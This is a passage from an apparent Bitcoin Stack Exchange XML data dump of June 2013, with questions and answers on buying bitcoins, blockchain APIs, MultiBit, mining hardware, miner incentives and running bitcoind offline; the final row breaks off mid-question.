  <row Id="11526" PostTypeId="2" ParentId="9344" CreationDate="2013-06-07T18:25:18.883" Score="1" Body="&lt;p&gt;LocalBitcoins.com lists traders with two different payment options for India:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/country/IN&quot; rel=&quot;nofollow&quot;&gt;Buy bitcoins online and by cash listings in India&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be two traders selling bitcoins online in India with two different payment options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;SWIFT bank transfer ( &lt;a href=&quot;https://localbitcoins.com/ad/15881/purchase-bitcoin-bank-international-bank-wire-swift-india&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/ad/15881/purchase-bitcoin-bank-international-bank-wire-swift-india&lt;/a&gt; )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Online transfer or cash deposit to the ICICI bank (this ad: &lt;a href=&quot;https://localbitcoins.com/ad/3772/purchase-bitcoin-icici-bank-online-transfer-or-cash-deposit-india&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/ad/3772/purchase-bitcoin-icici-bank-online-transfer-or-cash-deposit-india&lt;/a&gt; )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With some luck you might find international traders with PayPal, OKPay, Dwillo and Western Union payment options. Payment providers with chargeback option, like PayPal, are not very popular because the buying party can make a claim to get funds back after receiving bitcoins and thus scam the seller&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With LocalBitcoins.com all verification steps are optional and you can start trading right away.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-06-07T18:25:18.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11527" PostTypeId="2" ParentId="11499" CreationDate="2013-06-07T18:45:30.407" Score="-1" Body="&lt;p&gt;Probably Ebay....From a trusted seller   via bank transfer &lt;/p&gt;&#xA;" OwnerUserId="5466" LastEditorUserId="2355" LastEditDate="2013-06-08T14:56:24.880" LastActivityDate="2013-06-08T14:56:24.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11528" PostTypeId="2" ParentId="11460" CreationDate="2013-06-07T19:29:25.057" Score="1" Body="&lt;p&gt;Bitcoin is a communication protocol, it doesn't have policies. It is like asking if TCP/IP allows porn.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2013-06-07T19:29:25.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11529" PostTypeId="1" CreationDate="2013-06-08T02:25:41.007" Score="2" ViewCount="1325" Body="&lt;p&gt;I was looking for an API to download block chain data in real-time so I use the transaction data for analytics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of a good API for this?&lt;/p&gt;&#xA;" OwnerUserId="891" LastActivityDate="2013-12-05T15:54:40.277" Title="API for downloading block chain data" Tags="|api|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11530" PostTypeId="2" ParentId="11487" CreationDate="2013-06-08T04:23:38.487" Score="6" Body="&lt;p&gt;The scrypt-jane modification allows the N in scrypt(N,1,1) to change. Litecoin uses scrypt(1024,1,1). GPU miners haven't taken this into account. But now you have the opposite issue. Instead of the GPU miners getting everything, it's the datacenters who have the advantage.&lt;/p&gt;&#xA;" OwnerUserId="5470" LastActivityDate="2013-06-08T04:23:38.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11531" PostTypeId="1" AcceptedAnswerId="11532" CreationDate="2013-06-08T08:54:37.710" Score="2" ViewCount="499" Body="&lt;p&gt;A windows system has a standalone java and is not recognized by the installer. A jar file can be run on the command line. Is the MultiBit linux jar and the windows installed one the same? &lt;/p&gt;&#xA;" OwnerUserId="5432" LastActivityDate="2013-06-23T19:31:37.183" Title="Does the MultiBit linux jar file run in windows?" Tags="|linux|multibit|windows|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11532" PostTypeId="2" ParentId="11531" CreationDate="2013-06-08T09:39:40.163" Score="3" Body="&lt;p&gt;The Linux &lt;em&gt;installer&lt;/em&gt; is slightly different to the windows installer in that there are different scripts to get the host machine to recognise the bitcoin URIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What ARE very similar is the multibit-exe.jar (used on Linux and Mac) and the multibit.exe (used in Windows). The exe is basically a wrapped jar file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On any operating system you can run MultiBit jar file by running:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cd 'the MultiBit installation directory'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'path to java'/java -jar multibit-exe.jar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you cd to the install directory first as it uses that to pick up some files. &lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2013-06-23T19:31:37.183" LastActivityDate="2013-06-23T19:31:37.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11533" PostTypeId="2" ParentId="11529" CreationDate="2013-06-08T11:34:01.303" Score="2" Body="&lt;p&gt;If you are using the bitcoin-qt client &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin-Qt&lt;/a&gt;, you already have the blockchain in your hard drive (in the /bitcoin folder). The files blk000x.dat (blk0001.dat is the first part, blk0002.dat the second ...) contain all the data. blkindex.dat has the index to the blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the command line version, bitcoind, you can check blocks, transactions. The files can also be studied with bitcointools:&#xA;&lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using some other client, the files will be somewhere else, but most likely they will still be there.  &lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-06-08T11:34:01.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11534" PostTypeId="2" ParentId="11499" CreationDate="2013-06-08T11:35:28.497" Score="0" Body="&lt;p&gt;If you live in the Netherlands, you can use &lt;a href=&quot;http://bitonic.nl&quot; rel=&quot;nofollow&quot;&gt;bitonic.nl&lt;/a&gt; to purchase Bitcoins via iDEAL. You get them in a few minutes.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastActivityDate="2013-06-08T11:35:28.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11535" PostTypeId="2" ParentId="11529" CreationDate="2013-06-08T11:39:33.500" Score="1" Body="&lt;p&gt;Your best bet is to look at something like &lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;nofollow&quot;&gt;blockparser&lt;/a&gt; to pull data from the existing blockchain, and then using 0.8.2's &lt;code&gt;-blocknotify&lt;/code&gt; option to stay relatively up-to-date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that there is a trade-off between being real-time and being accurate; you will need to consider if you want a particular number of confirmations before considering a transaction legitimate, or if you want to operate x blocks behind to attempt to avoid issues which might occur if you have blocks which are subsequently orphaned.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-08T11:39:33.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11536" PostTypeId="1" CreationDate="2013-06-08T11:40:08.100" Score="-1" ViewCount="1199" Body="&lt;p&gt;I have a AMD 8-Core-CPU with a NVIDA GTX 560 for Bitcoin-Mining but I only get 70Mh/s...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I start CGMiner without GPU it detects nothing. Why cant I use my CPU to mine Bitcoins? Is that an error by the program? Which Software is the best to farm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With best regards&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="5406" LastEditDate="2016-03-31T17:08:22.820" LastActivityDate="2016-03-31T17:08:22.820" Title="Only 70Mh/s with good PC! AMD CPU not supported?" Tags="|mining-profitability|hashpower|gpu-mining|cpu-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2013-06-09T16:21:10.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="11537" PostTypeId="1" CreationDate="2013-06-08T14:31:11.773" Score="2" ViewCount="1173" Body="&lt;p&gt;When I installed it I never encrypted it. I then funded the address and I now have 1.1 bitcoins. But when I tried to send or create a new address it asked for a passphrase. I tried every possible password I have ever used. It's very confusing because I added an extra address so I would of had to enter a passphrase 4 times to set one and create a new one. Have you ever heard of this? Can you or do you know anyone who could help&lt;/p&gt;&#xA;" OwnerUserId="5475" LastEditorUserId="15412" LastEditDate="2014-06-18T05:53:01.443" LastActivityDate="2018-02-15T21:30:37.190" Title="I never encrypted my wallet." Tags="|encryption|passphrase|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11539" PostTypeId="1" CreationDate="2013-06-08T16:55:12.427" Score="0" ViewCount="162" Body="&lt;p&gt;I want to sell digital goods for BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, I have to associate the purchaser + BTC amount + address received + digital good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could set up multiple addresses for each client. If I kept a consistent address I would have to vary the fee to distinguish between purchasers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I monitor the blockchain to process transactions - any known tools for this?&lt;/p&gt;&#xA;" OwnerUserId="5477" LastActivityDate="2013-06-08T20:33:05.063" Title="How do I receive bitcoins for a game server?" Tags="|blockchain|server|" AnswerCount="1" CommentCount="0" ClosedDate="2013-06-17T21:10:58.927" ContentLicense="CC BY-SA 3.0" />
  <row Id="11540" PostTypeId="2" ParentId="11536" CreationDate="2013-06-08T17:36:05.477" Score="0" Body="&lt;p&gt;CPU and Nvidia GPUs are too slow for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be able to make a profit for a while still with AMD graphics cards, if you have cheap or free electricity. But soon Bitcoin ASICs will take over completely. Then the only way to mine that makes sense is to buy specialized Bitcoin hardware.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-08T17:36:05.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11541" PostTypeId="2" ParentId="10742" CreationDate="2013-06-08T19:32:46.460" Score="1" Body="&lt;p&gt;I think that is an excellent idea since the exchange rate between Dollar and Bitcoin is not as stable as the one between Litecoin and Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many people have stated that Bitcoin will not be the only player in the future and I believe so. Some crypto-currencies might apply better for different markets in the future (Litecoin or Feathercoin might be more viable in 3rd world countries)&lt;/p&gt;&#xA;" OwnerUserId="5478" LastActivityDate="2013-06-08T19:32:46.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11542" PostTypeId="1" AcceptedAnswerId="11551" CreationDate="2013-06-08T20:08:10.663" Score="7" ViewCount="1930" Body="&lt;p&gt;Disregarding value, but instead going by size in the protocol, what are the largest transactions so far in the history of Bitcoin, in terms of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;byte size&lt;/li&gt;&#xA;&lt;li&gt;number of inputs (&quot;vin&quot;)&lt;/li&gt;&#xA;&lt;li&gt;number of outputs (&quot;vout&quot;)&lt;/li&gt;&#xA;&lt;li&gt;total number of inputs and outputs&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2023-05-08T07:38:41.717" Title="By byte size and number of inputs/outputs, what are the largest transactions in the block chain so far?" Tags="|transactions|blockchain|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11543" PostTypeId="2" ParentId="11539" CreationDate="2013-06-08T20:33:05.063" Score="1" Body="&lt;p&gt;I've fiddled a bit with the plain vanilla reference bitcoin client, with the JSON-RPC server enabled, and it's all there. You can create accounts, so you can pass an address per user they can wire BTC to, query if any funds are there already (with a minimum number of confirmations), even pass the money on, to other local accounts, to remote addresses (other users or your &lt;a href=&quot;https://en.bitcoin.it/wiki/Cold_storage&quot; rel=&quot;nofollow&quot;&gt;cold wallet&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1971" LastActivityDate="2013-06-08T20:33:05.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11545" PostTypeId="1" CreationDate="2013-06-08T21:47:22.043" Score="1" ViewCount="7190" Body="&lt;p&gt;I have a mining rig, with 2 PCIe (already being used) and 4 PCIs without use. I was thinking to buy a PCI based ATI card like &lt;a href=&quot;http://www.club-3d.com/index.php/products/reader.en/product/radeon-hd-5450-pci-noiseless-edition.html&quot; rel=&quot;nofollow&quot;&gt;http://www.club-3d.com/index.php/products/reader.en/product/radeon-hd-5450-pci-noiseless-edition.html&lt;/a&gt; but I was wondering if anybody has experience running PCI GPUs to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: to avoid off-topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in FPGA or ASIC. I just want to know if the card cited is able to, for example, do opencl. &lt;/p&gt;&#xA;" OwnerUserId="5257" LastEditorUserId="5406" LastEditDate="2016-03-17T15:17:39.350" LastActivityDate="2016-03-17T15:17:39.350" Title="PCI (no express) GPUs" Tags="|litecoin|gpu-mining|mining-setup|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11546" PostTypeId="1" CreationDate="2013-06-08T23:49:50.137" Score="0" ViewCount="179" Body="&lt;p&gt;Occasionally I'll see an offer that is available only to those who pay with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What products are sold in which no other payment method is offered, or other offer extended only to those paying with bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2019-01-22T12:55:55.360" Title="What products, deals or other incentives are available exclusively to those paying with Bitcoin?" Tags="|merchants|marketing|promotion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11547" PostTypeId="2" ParentId="11546" CreationDate="2013-06-08T23:49:50.137" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;The only payment method for &lt;a href=&quot;http://www.nestorgames.com/#bundles_en&quot; rel=&quot;nofollow&quot;&gt;Bundles&lt;/a&gt; through Nestor Games is in bitcoins.&lt;/li&gt;&#xA;&lt;li&gt;Items in &lt;a href=&quot;http://www.bitpremier.com&quot; rel=&quot;nofollow&quot;&gt;BitPremier's&lt;/a&gt; showroom are available only when paying with bitcoins.  Since some of these items are not otherwise available this might indicate Bitcoin exclusivity.   &lt;/li&gt;&#xA;&lt;li&gt;Author James Altucher made Bitcoin as the &lt;a href=&quot;http://www.nydailynews.com/blogs/pageviews/2013/05/james-altucher-is-selling-his-newest-book-exclusively-via-bitcoin&quot; rel=&quot;nofollow&quot;&gt;only payment method for his new e-book&lt;/a&gt; (for a limited period of time) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-06-28T23:31:08.433" LastActivityDate="2013-06-28T23:31:08.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11548" PostTypeId="2" ParentId="10742" CreationDate="2013-06-09T05:09:21.167" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://coinpolice.com/coin-comparison/&quot; rel=&quot;nofollow&quot;&gt;http://coinpolice.com/coin-comparison/&lt;/a&gt;   shows you which coin is currently the most profitable to mine. This is based off it's exchange rate to BTC. I highly recommend you try out some alt coins and dump them on exchanges. It's also fun :)&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2013-06-09T05:09:21.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11550" PostTypeId="2" ParentId="11537" CreationDate="2013-06-09T07:05:08.287" Score="1" Body="&lt;p&gt;you should try asking this question at bitcointalk.org. If there is a bug in the client then perhaps it will help if you try copying your wallet.dat somewhere and loading it into a new version of client or fresh install? It is a good idea to have your private key for each address you plan to store bitcoins in written down somewhere before you send bitcoins to them. You can then load that private key into any wallet in order to spend the bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="5484" LastEditorUserId="5484" LastEditDate="2013-06-09T07:11:52.250" LastActivityDate="2013-06-09T07:11:52.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11551" PostTypeId="2" ParentId="11542" CreationDate="2013-06-09T12:42:31.053" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The largest single transaction to date is 465,554 bytes.  It's hash is &lt;a href=&quot;https://blockchain.info/tx/659135664894e50040830edb516a76f704fd2be409ecd8d1ea9916c002ab28a2&quot; rel=&quot;noreferrer&quot;&gt;659135664894e50040830edb516a76f704fd2be409ecd8d1ea9916c002ab28a2&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The same transaction has the largest number of inputs: 2,585.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Two transactions tie for the largest number of outputs: &lt;a href=&quot;https://blockchain.info/tx/623463a2a8a949e0590ffe6b2fd3e4e1028b2b99c747e82e899da4485eb0b6be&quot; rel=&quot;noreferrer&quot;&gt;623463a2a8a949e0590ffe6b2fd3e4e1028b2b99c747e82e899da4485eb0b6be&lt;/a&gt; and &lt;a href=&quot;https://blockchain.info/tx/5143cf232576ae53e8991ca389334563f14ea7a7c507a3e081fbef2538c84f6e&quot; rel=&quot;noreferrer&quot;&gt;5143cf232576ae53e8991ca389334563f14ea7a7c507a3e081fbef2538c84f6e&lt;/a&gt; both have 3,075 outputs&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The same two transactions have the largest number of inputs plus outputs, although they only have a single input so the total is 3,076 inputs plus outputs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note, however, that the blockchain has been used to store information by manipulating output addresses so it is more than likely that the transactions listed in 3) are not &quot;real&quot;, in that they do not contain spendable outputs.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-09T12:42:31.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11553" PostTypeId="2" ParentId="11510" CreationDate="2013-06-09T18:35:29.677" Score="2" Body="&lt;p&gt;&lt;strong&gt;Take a look at the Java &lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;nofollow&quot;&gt;XChange&lt;/a&gt; project&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is not Objective C it will provide you with all the details you'll need to get your library off the ground including the HMAC authentication process and websockets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also find a range of other exchanges supported so you can implement those as well thus providing your application with a broader range of potential users since not everyone uses MtGox these days.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-06-09T18:35:29.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11554" PostTypeId="2" ParentId="11377" CreationDate="2013-06-09T19:52:07.753" Score="4" Body="&lt;p&gt;In my experience requesting the full market depth from MtGox, often results in flat out incorrect information. To deal with this I've resorted to constructing my own, in a similar manner as you described above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is, using the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API/Streaming&quot; rel=&quot;nofollow noreferrer&quot;&gt;websocket api&lt;/a&gt;, I look at all incoming &lt;code&gt;depth&lt;/code&gt; events. I then keep two ordered arrays of bids and asks. On depth events if the volume is positive I add the order to the respective array based on the &lt;code&gt;type_str&lt;/code&gt; property. If the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11512/negative-volumes-returned-from-mtgox-websocket-api-request/11513#11513&quot;&gt;volume is negative&lt;/a&gt; I remove the object from the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to combine objects of the same price, but with different volume. Likewise when removing objects if the negative volume is less then the volume of the same prices object then only deduct from the volume instead of removing. This is how it is done on MtGox's server and it will lead to errors if done differently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After letting this run for a little while, though not deep, the order book is quite accurate and representative of what the MtGox order book should be.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-06-15T02:24:22.657" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11555" PostTypeId="2" ParentId="10644" CreationDate="2013-06-09T20:30:30.933" Score="2" Body="&lt;p&gt;Here you find an example, how to extract the data from getwork and call the scrypt function&#xA;&lt;a href=&quot;http://litecoin.info/Scrypt&quot; rel=&quot;nofollow&quot;&gt;http://litecoin.info/Scrypt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it is not clear (to me) what the resulting values of the scrypt should be. First I thought it is the result of the valid block above, but that has a different nounce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you find a valid result, please let me know the value. &lt;/p&gt;&#xA;" OwnerUserId="5489" LastEditorUserId="5489" LastEditDate="2013-06-10T07:55:32.213" LastActivityDate="2013-06-10T07:55:32.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11556" PostTypeId="2" ParentId="2772" CreationDate="2013-06-09T23:10:33.243" Score="-3" Body="&lt;p&gt;newsflash: &lt;strong&gt;OpenTransactions doesn't have a double spend problem, thus there is nothing to solve.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'double spend' is a problem for P2P decentralized systems not client server systems.  Open Transactions is a client-server system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guys: look around you.  Do you see any serious adults gathered here?  That's because FellowTraveller is a joke.  It seems as though in his response above he is actually taking credit for Chaumian e-cash?  Not only did he not invent it, he didn't even implement it. &lt;a href=&quot;https://github.com/benlaurie/lucre&quot; rel=&quot;nofollow&quot;&gt;https://github.com/benlaurie/lucre&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;One of the core challenges of designing a digital currency involves&#xA;  something called the double-spending problem. If a digital dollar is&#xA;  just information, free from the corporeal strictures of paper and&#xA;  metal, what's to prevent people from copying and pasting it as easily&#xA;  as a chunk of text, &quot;spending&quot; it as many times as they want? The&#xA;  conventional answer involved using a central clearing house to keep a&#xA;  real-time ledger of all transactions. The ledger prevents fraud, but&#xA;  it also requires a trusted third party to administer it.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Open Transactions adheres to this traditional 'central clearing house' model.  To say that Open Transactions solved the problem of double spending is just absurd.  It's like saying an automobile has 'solved' the problem airplanes have of getting off the ground.  Much of these misconceptions are due entirely to FellowTravellers 'creative' use of language, complete absence of any legitimate peer review of his claims, and total lack of any actual users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wired.co.uk/magazine/archive/2012/01/features/the-rise-and-fall-of-bitcoin&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.co.uk/magazine/archive/2012/01/features/the-rise-and-fall-of-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so one could say that Open Transactions is neither:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) community generated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) 'just works'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) makes sense&lt;/p&gt;&#xA;" OwnerUserId="5443" LastEditorUserId="5443" LastEditDate="2013-06-10T15:42:14.573" LastActivityDate="2013-06-10T15:42:14.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11557" PostTypeId="1" AcceptedAnswerId="11558" CreationDate="2013-06-09T23:36:23.517" Score="10" ViewCount="1392" Body="&lt;p&gt;I think I understand the basic operation of the Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks are the &quot;long-term memory&quot; of the network used to prevent double spending (and the way the network agrees in first place). Proof of work is sort of brute-forcing the nonce so that the hash has at least the desired number of zeros. When a dishonest node generates a new block other nodes will refuse it should it contain transactions that were not seen by them, so the network will &quot;converge&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the transactions need to be included in that PoW (or else it would be simple to alter them afterwards). So every time a new transaction is seen it will require the miner to start brute-forcing &quot;from scratch&quot;? I read some sort of tree is formed, so it actually doesn't mean the input to the hash function gets longer, but still every transaction will change the &quot;root value&quot;, won't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would a miner even bother to include all transactions that occurred on the network (given that transaction fees are minimal)? There is no lower limit on the tx number per block (perhaps in that time there were really no transactions). It would be simpler for them to just include perhaps one and then use their (CPU) time to solve the puzzle and earn the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be some sort of thing in the Bitcoin design which I don't get yet...&lt;/p&gt;&#xA;" OwnerUserId="5490" LastActivityDate="2013-07-22T13:25:04.807" Title="What is the motivation for miners to include all recent transactions in a block?" Tags="|transactions|block|transaction-selection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11558" PostTypeId="2" ParentId="11557" CreationDate="2013-06-10T01:33:24.707" Score="11" Body="&lt;p&gt;Miners have a long-term investment in the health of the Bitcoin network. If Bitcoin collapses, then their expensive ASICs are worthless. Miners particularly need Bitcoins to remain valuable over the long term because their hardware produces Bitcoins over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nobody includes transactions in blocks, then Bitcoins would be useless and therefore worthless. That would hurt the miners' long-term investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this ever became a problem, transactions would just wind up with higher fees to encourage miners to include them. Right now, enough miners will include a transaction with a miniscule fee that there's no point in paying more.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-06-10T01:33:24.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11559" PostTypeId="1" AcceptedAnswerId="11560" CreationDate="2013-06-10T03:30:34.563" Score="10" ViewCount="1080" Body="&lt;p&gt;I'm running Abe to create a blockchain SQL database, so I don't want the Bitcoin client to touch my copy of the blockchain at the moment. But I would like to query the blockchain with the bitcoind client. Is there a way to run bitcoind without connecting to other nodes?&lt;/p&gt;&#xA;" OwnerUserId="5309" LastActivityDate="2023-04-26T12:48:22.370" Title="How to run bitcoind (command line client) without connecting to other nodes?" Tags="|blockchain|bitcoind|abe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11560" PostTypeId="2" ParentId="11559" CreationDate="2013-06-10T03:37:54.667" Score="6" Body="&lt;p&gt;I see two approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;code&gt;--connect &amp;lt;hostname&amp;gt;&lt;/code&gt; with the hostname set to something that doesn't exist.&lt;/li&gt;&#xA;&lt;li&gt;Unplug from the network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-06-10T03:37:54.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11561" PostTypeId="2" ParentId="5608" CreationDate="2013-06-10T05:11:06.580" Score="1" Body="&lt;p&gt;GPU mining will still be in demand as long as there are scrypt coins like Litecoin that of any value. Scrypt coins are ASIC resistant at this time. However the price of LTC/USD has dropped significantly recently down to just $2.40 as of this post. There are many alternative crypto coins to mine now a days though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a great &lt;a href=&quot;http://coinpolice.com/coin-comparison/&quot; rel=&quot;nofollow&quot;&gt;crypto coin comparison table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is an even better &lt;a href=&quot;http://coinpolice.com/gpu/&quot; rel=&quot;nofollow&quot;&gt;Mining Hardware Comparison&lt;/a&gt; table&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2013-06-10T05:11:06.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11562" PostTypeId="1" AcceptedAnswerId="11564" CreationDate="2013-06-10T06:35:26.660" Score="7" ViewCount="4574" Body="&lt;p&gt;What is stopping me from hacking the mining software such that if I do happen to get the right hash I keep it for myself, but if not then I just submit my work done and get my share of the mined income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of to check this is for the pools to monitor the block chain and look for suspicious activity, but I'm not sure what this activity would like in practice and that wouldn't just be a higher than elevated rate of whatever they're looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that this would be especially attractive on pools like Eligius that do CPPSRB and even more attractive the higher my hash rate as then I have a high chance of getting blocks all to myself.&lt;/p&gt;&#xA;" OwnerUserId="3913" LastEditorUserId="5406" LastEditDate="2016-03-14T13:28:43.137" LastActivityDate="2016-03-14T13:28:43.137" Title="Cheating on pooled mining" Tags="|mining-pools|mining-pool-shares|pool-payout-methods|mining-technical-details|" AnswerCount="1" 